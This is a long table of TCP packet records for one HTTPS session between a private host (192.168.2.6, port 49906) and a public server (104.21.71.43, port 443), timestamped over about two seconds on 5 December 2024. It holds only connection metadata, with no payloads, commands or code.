Dec 5, 2024 15:04:51.986783981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.986798048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.986860037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.986867905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.986920118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.991857052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.991873980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.992062092 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.992069960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.992115974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.997680902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.997697115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.997759104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.997766018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.997807026 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.182656050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.182676077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.182749987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.182760000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.182794094 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.182810068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.188369036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.188385963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.188446045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.188453913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.188496113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.194056034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.194072008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.194163084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.194169998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.194211006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.199848890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.199866056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.199914932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.199922085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.199963093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.206763029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.206778049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.206834078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.206841946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.206882954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.212409019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.212424040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.212476969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.212483883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.212522030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.218058109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.218074083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.218122005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.218130112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.218168974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.223288059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.223303080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.223351002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.223359108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.223397017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.376780987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.376810074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.376852989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.376866102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.376879930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.376907110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.381865025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.381886959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.381921053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.381928921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.381953955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.381962061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.387635946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.387656927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.387696028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.387702942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.387718916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.387742043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.393343925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.393359900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.393413067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.393418074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.393444061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.393469095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.399199009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.399224997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.399270058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.399276018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.399311066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.399326086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.405030012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.405045986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.405105114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.405112028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.405137062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.405158043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.410033941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.410063982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.410109997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.410115957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.410135984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.410166979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.415905952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.415925026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.415990114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.415997982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.416042089 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.595887899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.595913887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.596031904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.596041918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.596091032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.601625919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.601643085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.601711035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.601717949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.601757050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.606909037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.606931925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.606996059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.607003927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.607043028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.612699032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.612718105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.612787008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.612793922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.612831116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.627418995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.627439022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.627569914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.627578020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.627619028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.633539915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.633558989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.633800983 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.633807898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.633853912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.638772011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.638788939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.638864040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.638870955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.638911009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.644377947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.644406080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.644463062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.644469976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.644506931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.815046072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.815071106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.815231085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.815241098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.815285921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.820019960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.820036888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.820102930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.820111036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.820149899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.826029062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.826046944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.826109886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.826117992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.826153994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.831585884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.831604004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.831671953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.831679106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.831715107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.836952925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.836980104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.837013960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.837021112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.837053061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.837064028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.842483044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.842499018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.842560053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.842567921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.842607021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.848237038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.848252058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.848311901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.848321915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.848365068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.853743076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.853760958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.853828907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:52.853837013 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:52.853878975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.006798029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.006827116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.006918907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.006927967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.006973982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.013037920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.013055086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.013128042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.013138056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.013181925 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.018237114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.018256903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.018311024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.018317938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.018358946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.023346901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.023365021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.023420095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.023427010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.023437023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.023466110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.029130936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.029151917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.029217005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.029223919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.029262066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.034826040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.034842014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.034884930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.034892082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.034904957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.034929037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.040615082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.040630102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.040688992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.040697098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.040740013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.046035051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.046051025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.046180010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.046186924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.046226978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.199408054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.199430943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.199584007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.199610949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.199657917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.204926968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.204941988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.205005884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.205015898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.205059052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.210895061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.210915089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.210974932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.210983038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.211020947 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.215845108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.215862036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.215925932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.215934038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.215972900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.221678972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.221693993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.221740007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.221749067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.221779108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.221801043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.227379084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.227397919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.227463961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.227473021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.227529049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.233133078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.233149052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.233230114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.233238935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.233278036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.238580942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.238600969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.238652945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.238660097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.238694906 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.391633987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.391657114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.391794920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.391820908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.391868114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.396653891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.396673918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.396737099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.396744967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.396783113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.402540922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.402555943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.402616978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.402623892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.402671099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.408215046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.408231020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.408288956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.408296108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.408334017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.413319111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.413333893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.413395882 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.413403988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.413441896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.419207096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.419223070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.419282913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.419290066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.419327974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.424864054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.424880028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.424942970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.424948931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.424993038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.430356026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.430371046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.430429935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.430444956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.430483103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.584063053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.584095001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.584167957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.584178925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.584224939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.589101076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.589118958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.589176893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.589184999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.589224100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.594971895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.594989061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.595048904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.595056057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.595093966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.600749016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.600764990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.600821018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.600828886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.600871086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.605755091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.605772018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.605829000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.605837107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.605875969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.611563921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.611582041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.611668110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.611675024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.611716032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.617244005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.617261887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.617315054 CET	49906	443	192.168.2.6	104.21.71.43
